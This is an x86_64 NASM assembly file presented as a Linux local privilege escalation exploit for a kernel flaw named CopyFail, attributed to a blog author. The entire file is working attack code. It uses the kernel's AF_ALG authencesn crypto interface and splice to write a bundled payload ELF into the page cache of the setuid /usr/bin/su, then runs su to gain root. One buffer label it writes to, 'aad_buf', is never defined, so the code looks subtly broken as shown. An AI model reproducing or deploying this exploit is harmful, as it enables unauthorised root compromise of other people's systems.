; CopyFail CVE-2026-31431 Linux LPE exploit, x86_64 NASM version. : https://4xura.com/binex/kernel/copy-fail/ : Author: Axura (@4xura) ; ; Build: ; nasm -f elf64 exploit.asm -o exploit.o ; ld -o exploit_asm exploit.o ; ; Input: ; payload.pwnkit.elf must exist in the build directory. Generate it with the ; compact ELF carrier workflow from section 7.3.1.1. BITS 64 global _start %define SYS_write 1 %define SYS_open 2 %define SYS_close 3 %define SYS_pipe 22 %define SYS_socket 41 %define SYS_accept 43 %define SYS_recvfrom 45 %define SYS_sendmsg 46 %define SYS_bind 49 %define SYS_setsockopt 54 %define SYS_execve 59 %define SYS_exit 60 %define SYS_splice 275 %define AF_ALG 38 %define SOCK_SEQPACKET 5 %define SOL_ALG 279 %define ALG_SET_KEY 1 %define ALG_SET_IV 2 %define ALG_SET_OP 3 %define ALG_SET_AEAD_ASSOCLEN 4 %define ALG_SET_AEAD_AUTHSIZE 5 %define MSG_MORE 0x8000 %define O_RDONLY 0 %define RXBUF_SIZE 8192 section .text _start: lea rbx, [rel target_su] ; If argv[1] exists, treat it as the full target path. mov rax, [rsp] cmp rax, 2 jb .open_target mov rbx, [rsp + 16] .open_target: lea rdi, [rel msg_target] mov rsi, msg_target_len call print mov rdi, rbx call puts mov rax, SYS_open mov rdi, rbx mov rsi, O_RDONLY xor rdx, rdx syscall call check mov [file_fd], eax xor r12, r12 ; payload offset .patch_loop: cmp r12, payload_len jae .execute_target call open_authencesn_socket lea rsi, [rel payload] add rsi, r12 call queue_aad mov rdi, [file_fd] mov rsi, [op_fd] mov rdx, r12 call splice_target_window mov rdi, [op_fd] mov rsi, r12 call trigger_decrypt mov rdi, [op_fd] call close_fd mov rdi, [tfm_fd] call close_fd add r12, 4 jmp .patch_loop .execute_target: mov rdi, [file_fd] call close_fd lea rdi, [rel msg_exec] mov rsi, msg_exec_len call print mov rax, SYS_execve mov rdi, rbx lea rsi, [rel exec_argv] xor rdx, rdx syscall jmp fatal open_authencesn_socket: mov rax, SYS_socket mov rdi, AF_ALG mov rsi, SOCK_SEQPACKET xor rdx, rdx syscall call check mov [tfm_fd], eax mov rax, SYS_bind mov edi, [tfm_fd] lea rsi, [rel sockaddr_alg] mov rdx, sockaddr_alg_len syscall call check mov rax, SYS_setsockopt mov edi, [tfm_fd] mov rsi, SOL_ALG mov rdx, ALG_SET_KEY lea r10, [rel keyblob] mov r8, keyblob_len syscall call check mov rax, SYS_setsockopt mov edi, [tfm_fd] mov rsi, SOL_ALG mov rdx, ALG_SET_AEAD_AUTHSIZE xor r10, r10 mov r8, 4 syscall call check mov rax, SYS_accept mov edi, [tfm_fd] xor rsi, rsi xor rdx, rdx syscall call check mov [op_fd], eax ret ; rsi = pointer to the next 4-byte payload chunk. queue_aad: mov dword [aad_buf], 0x41414141 mov eax, [rsi] mov [aadaad_buf + 4], eax lea rax, [rel aadaad_buf] mov [iov], rax mov qword [iov + 8], 8 mov qword [msg_hdr + 0], 0 mov dword [msg_hdr + 8], 0 lea rax, [rel iov] mov qword [msg_hdr + 16], rax mov qword [msg_hdr + 24], 1 lea rax, [rel cbuf] mov qword [msg_hdr + 32], rax mov qword [msg_hdr + 40], cbuf_len mov dword [msg_hdr + 48], 0 mov qword [cbuf + 0], 20 ; CMSG_LEN(sizeof(uint32_t)) mov dword [cbuf + 8], SOL_ALG mov dword [cbuf + 12], ALG_SET_OP mov dword [cbuf + 16], 0 ; ALG_OP_DECRYPT mov qword [cbuf + 24], 36 ; CMSG_LEN(sizeof(struct af_alg_iv)+16) mov dword [cbuf + 32], SOL_ALG mov dword [cbuf + 36], ALG_SET_IV mov dword [cbuf + 40], 16 ; ivlen mov qword [cbuf + 44], 0 mov qword [cbuf + 52], 0 mov qword [cbuf + 64], 20 ; CMSG_LEN(sizeof(uint32_t)) mov dword [cbuf + 72], SOL_ALG mov dword [cbuf + 76], ALG_SET_AEAD_ASSOCLEN mov dword [cbuf + 80], 8 mov rax, SYS_sendmsg mov edi, [op_fd] lea rsi, [rel msg_hdr] mov rdx, MSG_MORE syscall call check ret ; rdi = file fd, rsi = op fd, rdx = target offset. splice_target_window: mov [saved_op_fd], rsi lea rax, [rdx + 4] mov [splice_len], rax mov qword [splice_off], 0 mov rax, SYS_pipe lea rdi, [rel pipefd] syscall call check mov rax, SYS_splice mov rdi, [file_fd] lea rsi, [rel splice_off] mov edx, [pipefd + 4] xor r10, r10 mov r8, [splice_len] xor r9, r9 syscall call check mov rax, SYS_splice mov edi, [pipefd] xor rsi, rsi mov rdx, [saved_op_fd] xor r10, r10 mov r8, [splice_len] xor r9, r9 syscall call check mov edi, [pipefd] call close_fd mov edi, [pipefd + 4] call close_fd ret ; rdi = op fd, rsi = target offset. trigger_decrypt: lea rdx, [rsi + 8] cmp rdx, RXBUF_SIZE ja fatal mov rax, SYS_recvfrom lea rsi, [rel rxbuf] xor r10, r10 xor r8, r8 xor r9, r9 syscall ; Authentication failure is expected. Ignore recvfrom's return value. ret close_fd: mov rax, SYS_close syscall ret print: mov rdx, rsi mov rsi, rdi mov rax, SYS_write mov rdi, 1 syscall ret puts: push rdi xor rcx, rcx .len: cmp byte [rdi + rcx], 0 je .write inc rcx jmp .len .write: pop rdi mov rsi, rcx call print lea rdi, [rel nl] mov rsi, 1 call print ret check: test rax, rax js fatal ret fatal: lea rdi, [rel msg_fail] mov rsi, msg_fail_len call print mov rax, SYS_exit mov rdi, 1 syscall section .data target_su db "/usr/bin/su", 0 exec_arg0 db "su", 0 exec_argv dq exec_arg0, 0 nl db 10 msg_target db "[+] target : " msg_target_len equ $ - msg_target msg_exec db "[+] payload staged into page cache, executing target...", 10 msg_exec_len equ $ - msg_exec msg_fail db "[-] syscall failed", 10 msg_fail_len equ $ - msg_fail sockaddr_alg: dw AF_ALG db "aead", 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 dd 0 dd 0 db "authencesn(hmac(sha256),cbc(aes))", 0 times 64 - ($ - sockaddr_alg - 24) db 0 sockaddr_alg_len equ $ - sockaddr_alg keyblob: dw 8 ; rtattr.rta_len dw 1 ; CRYPTO_AUTHENC_KEYA_PARAM dd 0x10000000 ; htonl(16) times 32 db 0 keyblob_len equ $ - keyblob payload: incbin "payload.pwnkit.elf" payload_end: times 3 db 0 payload_len equ payload_end - payload section .bss file_fd resq 1 tfm_fd resq 1 op_fd resq 1 saved_op_fd resq 1 pipefd resd 2 splice_off resq 1 splice_len resq 1 aadaad_buf resb 8 iov resq 2 msg_hdr resb 56 cbuf resb 88 cbuf_len equ 88 rxbuf resb RXBUF_SIZE